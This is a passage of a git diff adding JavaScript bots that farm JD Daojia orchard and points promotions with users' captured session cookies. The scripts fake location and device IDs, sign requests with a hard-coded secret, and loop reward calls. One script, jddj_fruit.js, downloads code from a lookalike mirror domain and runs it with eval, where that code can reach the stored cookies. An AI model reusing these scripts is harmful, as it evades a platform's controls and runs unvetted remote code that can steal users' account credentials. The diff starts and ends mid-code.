{ let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/Scripts/jingdong/jddj_fruit.js b/Scripts/jingdong/jddj_fruit.js new file mode 100644 index 00000000..9cf4c31f --- /dev/null +++ b/Scripts/jingdong/jddj_fruit.js @@ -0,0 +1,33 @@ +/* +v5.6 +京东到家果园任务脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json + +[task_local] +10 0,3,8,11,17 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit.js + +[Script] +cron "10 0,3,8,11,17 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit.js,tag=京东到家果园任务 + +*/ + +let isNotify = true;//是否通知,仅限nodejs +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH + +const $ = new API("jddj_fruit"); +try { + //https://ghproxy.com/https://raw.githubusercontent.com/passerby-b/Script/master/jddj_fruit_code.js + $.http.get({ url: 'https://raw.githubusercontents.com/passerby-b/Script/master/jddj_fruit_code.js' }).then(response => { + if (!!response.body) eval(response.body); + }); +} catch (error) { + console.log(error); + $.done(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ + diff --git a/Scripts/jingdong/jddj_fruit_collectWater.js b/Scripts/jingdong/jddj_fruit_collectWater.js new file mode 100644 index 00000000..76833e42 --- /dev/null +++ b/Scripts/jingdong/jddj_fruit_collectWater.js @@ -0,0 +1,250 @@ +/* +京东到家果园水车收水滴任务脚本,支持qx,loon,shadowrocket,surge,nodejs +用抓包抓 https://daojia.jd.com/html/index.html 页面cookie填写到下面,暂时不知cookie有效期 +抓多账号直接清除浏览器缓存再登录新账号,千万别点退出登录,否则cookie失效 +cookie只要里面的deviceid_pdj_jd=xxx-xxx-xxx;o2o_m_h5_sid=xxx-xxx-xxx关键信息 +五分钟运行一次 +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +TG群:https://t.me/passerbyb2021 +*/ + +//[task_local] +//*/5 * * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit_collectWater.js + +//================Loon============== +//[Script] +//cron "*/5 * * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit_collectWater.js,tag=京东到家果园水车收水滴 +// + +const $ = new API("jddj_fruit_collectWater"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + + if (!thiscookie.trim()) continue; + + deviceid = _uuid(); + let option = taskLoginUrl(deviceid, thiscookie); + await $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + thiscookie = 'deviceid_pdj_jd=' + deviceid + '; PDJ_H5_PIN=' + data.result.PDJ_H5_PIN + '; o2o_m_h5_sid=' + data.result.o2o_m_h5_sid + ';'; + sid = data.result.o2o_m_h5_sid; + } + else thiscookie = 'aabbcc'; + }); + + await userinfo(); + await $.wait(1000); + + await treeInfo(); + await $.wait(1000); + + let tslist = await taskList(); + if (tslist.code == 1) { + $.notify('第' + (i + 1) + '个账号cookie过期', '请访问\nhttps://bean.m.jd.com/bean/signIndex.action抓取cookie', { url: 'https://bean.m.jd.com/bean/signIndex.action' }); + continue; + } + + await collectWater(); + await $.wait(1000); + + await water(); + await $.wait(1000); + + await treeInfo(); + await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&platCode=H5&appName=paidaojia&channel=&appVersion=8.7.6&jdDevice=&functionId=mine%2FgetUserAccountInfo&body=%7B%22refPageSource%22:%22%22,%22fromSource%22:2,%22pageSource%22:%22myinfo%22,%22ref%22:%22%22,%22ctp%22:%22myinfo%22%7D&jda=&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } + }) + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +//收水滴 +async function collectWater() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&_funid_=fruit/collectWater&functionId=fruit%2FcollectWater&isNeedDealError=true&body=%7B%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, '') + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【收水滴】:' + data.msg + ',累计收获:' + data.result.totalCollectWater); + } + else { + console.log('\n【收水滴】:' + data.msg); + } + }) + resolve(); + + } catch (error) { + console.log('\n【收水滴】:' + error); + resolve(); + } + }) +} + +//任务列表 +async function taskList() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10007%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + let data = JSON.parse(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve({}); + } + + }) +} + +//浇水 +async function water() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=fruit%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22waterTime%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) + +} + +//当前果树详情 +async function treeInfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com:443/client?_jdrandom=' + Math.round(new Date()), 'functionId=fruit%2FinitFruit&isNeedDealError=true&method=POST&body=%7B%22cityId%22%3A' + cityid + '%2C%22longitude%22%3A' + lng + '%2C%22latitude%22%3A' + lat + '%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid); + await $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【果树信息】:' + data.result.activityInfoResponse.fruitName + ',还需浇水' + data.result.activityInfoResponse.curStageLeftProcess + '次' + data.result.activityInfoResponse.stageName + ',还剩' + data.result.userResponse.waterBalance + '滴水'); + shareCode = data.result.activityInfoResponse.userPin; + } + resolve(); + }) + } catch (error) { + console.log('\n【果树信息】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Origin': 'https://daojia.jd.com', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148________appName=jdLocal&platform=iOS&commonParams={"sharePackageVersion":"2"}&djAppVersion=8.7.5&supportDJSHWK', + 'Accept-Language': 'zh-cn' + }, + body: body + }; + return option; +} + +function taskLoginUrl(deviceid, thiscookie) { + return { + url: 'https://daojia.jd.com/client?_jdRandom=' + (+new Date()) + '&functionId=xapp/loginByPtKeyNew&body=' + escape(JSON.stringify({ "fromSource": 5, "businessChannel": 150, "subChannel": "", "regChannel": "" })) + 'channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&code=011UYn000apwmL1nWB000aGiv74UYn03&deviceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceModel=appmodel', + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + "referer": "https://daojia.jd.com/taroh5/h5dist/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)' + } + } +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/Scripts/jingdong/jddj_getPoints.js b/Scripts/jingdong/jddj_getPoints.js new file mode 100644 index 00000000..ae2dbcb5 --- /dev/null +++ b/Scripts/jingdong/jddj_getPoints.js @@ -0,0 +1,245 @@ + +//京东到家鲜豆庄园收水滴脚本,支持qx,loon,shadowrocket,surge,nodejs +// 兼容京东jdCookie.js +// 手机设备在boxjs里填写cookie +// boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json +//TG群:https://t.me/passerbyb2021 + +//[task_local] +//7 */1 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_getPoints.js + + +//[Script] +//cron "7 */1 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_getPoints.js,tag=京东到家鲜豆庄园收水滴 + + +const $ = new API("jddj_getPoints"); +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH +let cookies = []; +let thiscookie = '', deviceid = '', nickname = ''; +let lat = '30.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let lng = '114.' + Math.round(Math.random() * (99999 - 10000) + 10000); +let cityid = Math.round(Math.random() * (1500 - 1000) + 1000); +!(async () => { + if (cookies.length == 0) { + if ($.env.isNode) { + if (process.env.JDDJ_CKPATH) ckPath = process.env.JDDJ_CKPATH; + delete require.cache[ckPath]; + let jdcookies = require(ckPath); + for (let key in jdcookies) if (!!jdcookies[key]) cookies.push(jdcookies[key]); + } + else { + let ckstr = $.read('#jddj_cookies'); + if (!!ckstr) { + if (ckstr.indexOf(',') < 0) { + cookies.push(ckstr); + } else { + cookies = ckstr.split(','); + } + } + } + } + if (cookies.length == 0) { + console.log(`\r\n请先填写cookie`); + return; + } + for (let i = 0; i < cookies.length; i++) { + console.log(`\r\n★★★★★开始执行第${i + 1}个账号,共${cookies.length}个账号★★★★★`); + thiscookie = cookies[i]; + if (!thiscookie) continue; + + thiscookie = await taskLoginUrl(thiscookie); + + await userinfo(); + await $.wait(1000); + + await getPoints(); + await $.wait(1000); + + } + +})().catch((e) => { + console.log('', `❌失败! 原因: ${e}!`, ''); +}).finally(() => { + $.done(); +}) + +//收水车水滴 +async function getPoints() { + return new Promise(async resolve => { + try { + let time = Math.round(new Date()); + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + time + '&_funid_=plantBeans/getWater', 'functionId=plantBeans%2FgetWater&isNeedDealError=true&method=POST&body=%7B%7D&lat=' + lat + '&lng=' + lng + '&lat_pos=' + lat + '&lng_pos=' + lng + '&city_id=' + cityid + '&channel=rn&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + time + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + time + '&_funid_=plantBeans%2FgetWater'); + $.http.post(option).then(async response => { + let data = JSON.parse(response.body); + if (data.code == 0) { + console.log('\n【收水车水滴】:' + data.msg + '->当前收取:' + data.result.addWater + ',当前剩余:' + data.result.water + ',当日累计:' + data.result.dailyWater); + } else { + console.log('\n【收水车水滴】:' + data.msg); + } + resolve(); + }) + + } catch (error) { + console.log('\n【收水车水滴】:' + error); + resolve(); + } + }) +} + +//浇水 +async function watering() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()), 'functionId=plantBeans%2Fwatering&isNeedDealError=true&method=POST&body=%7B%22activityId%22%3A%2223e4a58bca00bef%22%2C%22waterAmount%22%3A100%7D&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + ''); + + let waterStatus = 1, waterCount = 0; + do { + waterCount++; + console.log(`\n**********开始执行第${waterCount}次浇水**********`); + + $.http.post(option).then(response => { + let data = JSON.parse(response.body); + console.log('\n【浇水】:' + data.msg); + waterStatus = data.code; + }) + await $.wait(1000); + } while (waterStatus == 0); + resolve(); + + } catch (error) { + console.log('\n【浇水】:' + error); + resolve(); + } + + }) +} + +//个人信息 +async function userinfo() { + return new Promise(async resolve => { + try { + let option = urlTask('https://daojia.jd.com/client?channel=wx_xcx&platform=5.0.0&platCode=mini&mpChannel=wx_xcx&appVersion=8.10.5&xcxVersion=8.10.1&appName=paidaojia&functionId=mine%2FgetUserAccountInfo&isForbiddenDialog=false&isNeedDealError=false&isNeedDealLogin=false&body=%7B%22cityId%22%3A' + cityid + '%2C%22fromSource%22%3A%225%22%7D&afsImg=&lat_pos=' + lat + '&lng_pos=' + lng + '&lat=' + lat + '&lng=' + lng + '&city_id=' + cityid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&deviceModel=appmodel&business=&traceId=' + deviceid + '1628044517506&channelCode=', ''); + $.http.get(option).then(response => { + //console.log(response.body); + let data = JSON.parse(response.body); + if (data.code == 0) { + try { + nickname = data.result.userInfo.userBaseInfo.nickName; + console.log("●●●" + nickname + "●●●"); + } catch (error) { nickname = '昵称获取失败' } + } + else nickname = '昵称获取失败'; + }); + resolve(); + + } catch (error) { + console.log('\n【个人信息】:' + error); + resolve(); + } + }) +} + +function urlTask(url, body) { + + let arr = decodeURIComponent(body).split('&'); + let json = {}, keys = [], sortVlaues = []; + for (const o of arr) { + let c = o.split('='); + if (!!c[1] && c[0] != 'functionId' && c[0] != 'signKeyV1') { + json[c[0]] = c[1]; + keys.push(c[0]); + } + } + keys = keys.sort(); + keys.forEach(element => { + sortVlaues.push(json[element]); + }); + + const secret = "923047ae3f8d11d8b19aeb9f3d1bc200";//秘钥 + // var hmac = crypto.createHmac("sha256", secret); + // var content = hmac.update(sortVlaues.join('&')); + // var cryptoContent = content.digest("hex"); + + let cryptoContent = hex_hmac_sha256(secret, sortVlaues.join('&')); + + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'jdapp;iPhone;10.1.0;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;addressid/397459499;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Accept-Language': 'zh-cn' + }, + body: body + '&signKeyV1=' + cryptoContent + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if 